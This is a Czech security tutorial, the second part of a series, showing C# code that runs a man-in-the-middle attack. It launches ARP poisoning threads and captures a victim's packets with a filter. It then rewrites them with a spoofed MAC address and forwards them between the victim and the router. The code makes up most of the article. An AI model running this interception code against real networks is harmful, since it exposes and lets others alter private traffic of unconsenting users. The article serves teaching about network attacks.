Man in the middle útok v C# - Zachytávání a přeposílání paketů (2)

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: jech
Datum: 6.1.2014
Hodnocení/Hlasovalo: 2.08/12

Druhá část článku o implementaci Man in the middle útocku v jazyku C#.

Minulý článek se týkal ARP Poisoningu, což je první část, kterou potřebujeme k úspěšné realizaci Man in the middle útoku. V tomto článku se podíváme na druhou část – zachytávání a přeposílání paketů.

Díky ARP Poisoningu totiž na naše (neboli útočníkovo PC) chodí všechny pakety, které se snaží napadený uzel odeslat do sítě a zároveň také všechny pakety, které mají jít ze směrovače (či jiného síťového zařízení, které jsme napadli) na napadený uzel.

Všechny tyto pakety končí na našem stoji a nic se s nimi neděje – napadený uzel tak nemůže komunikovat a pozná, že je něco špatně. Musíme tedy pakety zpracovat v našem nástroji a následně je správně přeposlat.

K tomu jsem využil funkci CatchAndResendPackets(filter, device), která v parametru přijímá filter, který určuje, jaká pakety se mají zachytávat a síťové zařízení (device). Funkce běží ve vlastním vlákně a je volána ze statické funkce manInTheMiddleAttack, která spouští samotný útok.

private static void manInTheMiddleAttack()
{
  int readTimeoutMillisecond = 1000;

  CaptureDeviceList devices = CaptureDeviceList.Instance;
  ICaptureDevice device = devices[2];
  device.Open(DeviceMode.Normal, readTimeoutMillisecond);

  //string filter = "not ether src host 00:00:00:11:11:11 and ((src host 192.168.2.104 and not dst host 192.168.2.101) or (not src host 192.168.2.101 and dst host 192.168.2.104))";

  string filter = "not ether src host " + falseMac.ToString() + " and ((src host " + celeronIP.ToString() + " and not dst host "+localIP.ToString()+") or (not src host "+localIP.ToString()+" and dst host "+celeronIP.ToString()+"))";

  ThreadPool.QueueUserWorkItem((o) => { ARPpoisoningAttack(device, localPcMac, celeronIP, localRouterIp, localRouterMac); });
  ThreadPool.QueueUserWorkItem((o) => { ARPpoisoningAttack(device, localPcMac, localRouterIp, celeronIP, celeronMAC); }); 
  ThreadPool.QueueUserWorkItem((o) => { CatchAndResendPackets(filter, device); }); //preposilani paketu 
}


Abychom mohli funkci CatchAndResendPackets zavolat, potřebujeme nejprve vytvořit filtr. To je asi nejobtížnější část celého úkolu, neboť při špatně sestaveném filtru se může například stát, že budete opětovně přeposílat již odeslané pakety a dojde tak k zacyklení.

Ve filtru vlastně určujeme, kteréže pakety se chystáme zpracovat, tedy někam přeposlat. Jde o všechny pakety, které přijdou z napadeného PC a mají jinou destinaci, než náš stroj a také všechny pakety, které přijdou z routeru a mají být doručeny na napadený stroj.

V první části filtru nejprve vyloučíme pakety, které přeposíláme my. Používáme podvrženou MAC adresu 00:00:00:11:11:11, takže pakety lze snadno identifikovat. První část filtru tak má tedy tvar „not ether src host "+falseMac.ToString()“ přičemž falceMac je naše podvržená MAC.

S touto podmínkou musí být zároveň splněna jedna ze dvou následujících:

Podmínky pak vypadají následovně (celeron je PC, na které utočíme):

Nyní je potřeba všechny podmínky spojit a správně stanovit závorky, výsledný filtr pak tedy vypadá následovně:

"not ether src host " + falseMac.ToString() + " and ((src host " + celeronIP.ToString() + " and not dst host "+localIP.ToString()+") or (not src host "+localIP.ToString()+" and dst host "+celeronIP.ToString()+"))";


Funkce CatchAndResendPackets

Nyní se dostáváme k funkci CatchAndResendPackets, která slouží k zachytávání a přeposílání paketů. Nejprve je na daném zařízení registrován handler, který určuje, co se zachycenými pakety (jde o událost OnPacketArrival). Při výskytu této události (tedy když dorazí paket) musíme zavolat funkci resendPacketOnArrivalEventHandler, která se stará o samotné přeposílání paketů.

Dále je potřeba danému zařízení nastavit filtr pro zachytávání paketů a spustit pomocí funkce StartCapture() zachytávání. Volání ReadLine slouží jen k tomu, aby po stisknutí enteru došlo k ukončení zachytávání.

public static void CatchAndResendPackets(string filter, ICaptureDevice device)
{
  //registrace handleru
  device.OnPacketArrival += new PacketArrivalEventHandler(resendPacketOnArrivalEventHandler);
  device.Filter = filter; //nastaveni filteru

  Console.WriteLine("-- Listening on {0},  \n\nHit 'Enter' to stop...", device.Description);
  device.StartCapture(); //start zachytávání

  Console.ReadLine();
  device.StopCapture();
  device.Close();
}


Funkce resendPacketOnArrivalEventHandler

Ve funkci resendPacketOnArrivalEventHandler nejprve dojde k extrakci IP paketu ze zachycených dat. Poté jako zdrojovou MAC adresu nastavíme naši falešnou MaC (falseMac).

Následně můžeme zjistit, kam IP paket původně směroval a přeposlat ho na danou destinaci. K tomu nám slouží podmínky IF a ELSE IF. Pokud zjistíme, že paket směroval na router, nastavíme cílovou MAC na MAC routeru.

Pokud směřoval na napadený PC, nastavíme paketu MAC napadeného PC. Pokud není ani jedna z podmínek splněna, pošleme paket na výchozí bránu. Následně musíme vytvořit instanci objekt IPv4Packet a přepočítat kontrolní součet. Poté už stačí pouze otevřít vybrané síťové zařízení a pomocí funkce SendPacket paket odeslat. A máme hotovo.

private static void resendPacketOnArrivalEventHandler(object sender, CaptureEventArgs e)
{
  Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
  Type t = typeof(IpPacket);
  IpPacket ipPacket = (IpPacket)packet.Extract(t); //vytvoření IP paketu ze zachycených dat

  EthernetPacket ethernet = (EthernetPacket)packet.Extract(typeof(EthernetPacket));
  ethernet.SourceHwAddress = falseMac; //nastavení falešné zdrojové mac

  if (ipPacket == null)
  {
    return;
  }
  //pokud je destination router, pošli routeru
  if (ipPacket.DestinationAddress.ToString() == localRouterIp.ToString()) 
  {               
    ethernet.DestinationHwAddress = localRouterMac;
  }
  //pokud napadený PC, posli napadenému PC
  else if (ipPacket.DestinationAddress.ToString() == celeronIP.ToString())
  { 
    ethernet.DestinationHwAddress = celeronMAC;
  }
  //posli na vychozi branu
  else 
  {
    ethernet.DestinationHwAddress = localRouterMac;
  }

  IPv4Packet ipv4 = (IPv4Packet)ipPacket;
  ipv4.UpdateIPChecksum(); //updatuje check sum, nutné

  CaptureDeviceList devices = CaptureDeviceList.Instance;
  ICaptureDevice device = devices[2];
  device.Open();

  Console.WriteLine("resending packet to "+ipPacket.DestinationAddress);
  device.SendPacket(packet);
}


Ověřit funkčnost implementace lze poměrně snadno, například pomocí Wiresharku. Abyste nemuseli zdrojové kódy postupně lepit z jednotlivých částí článku a tvořit všechny statické proměnné ručně, můžete si kompletní zdrojový kód k tomuto příkladu stáhnout zde.

Kompletní zdrojové kody pro tento příklad jsou k dispozici zde.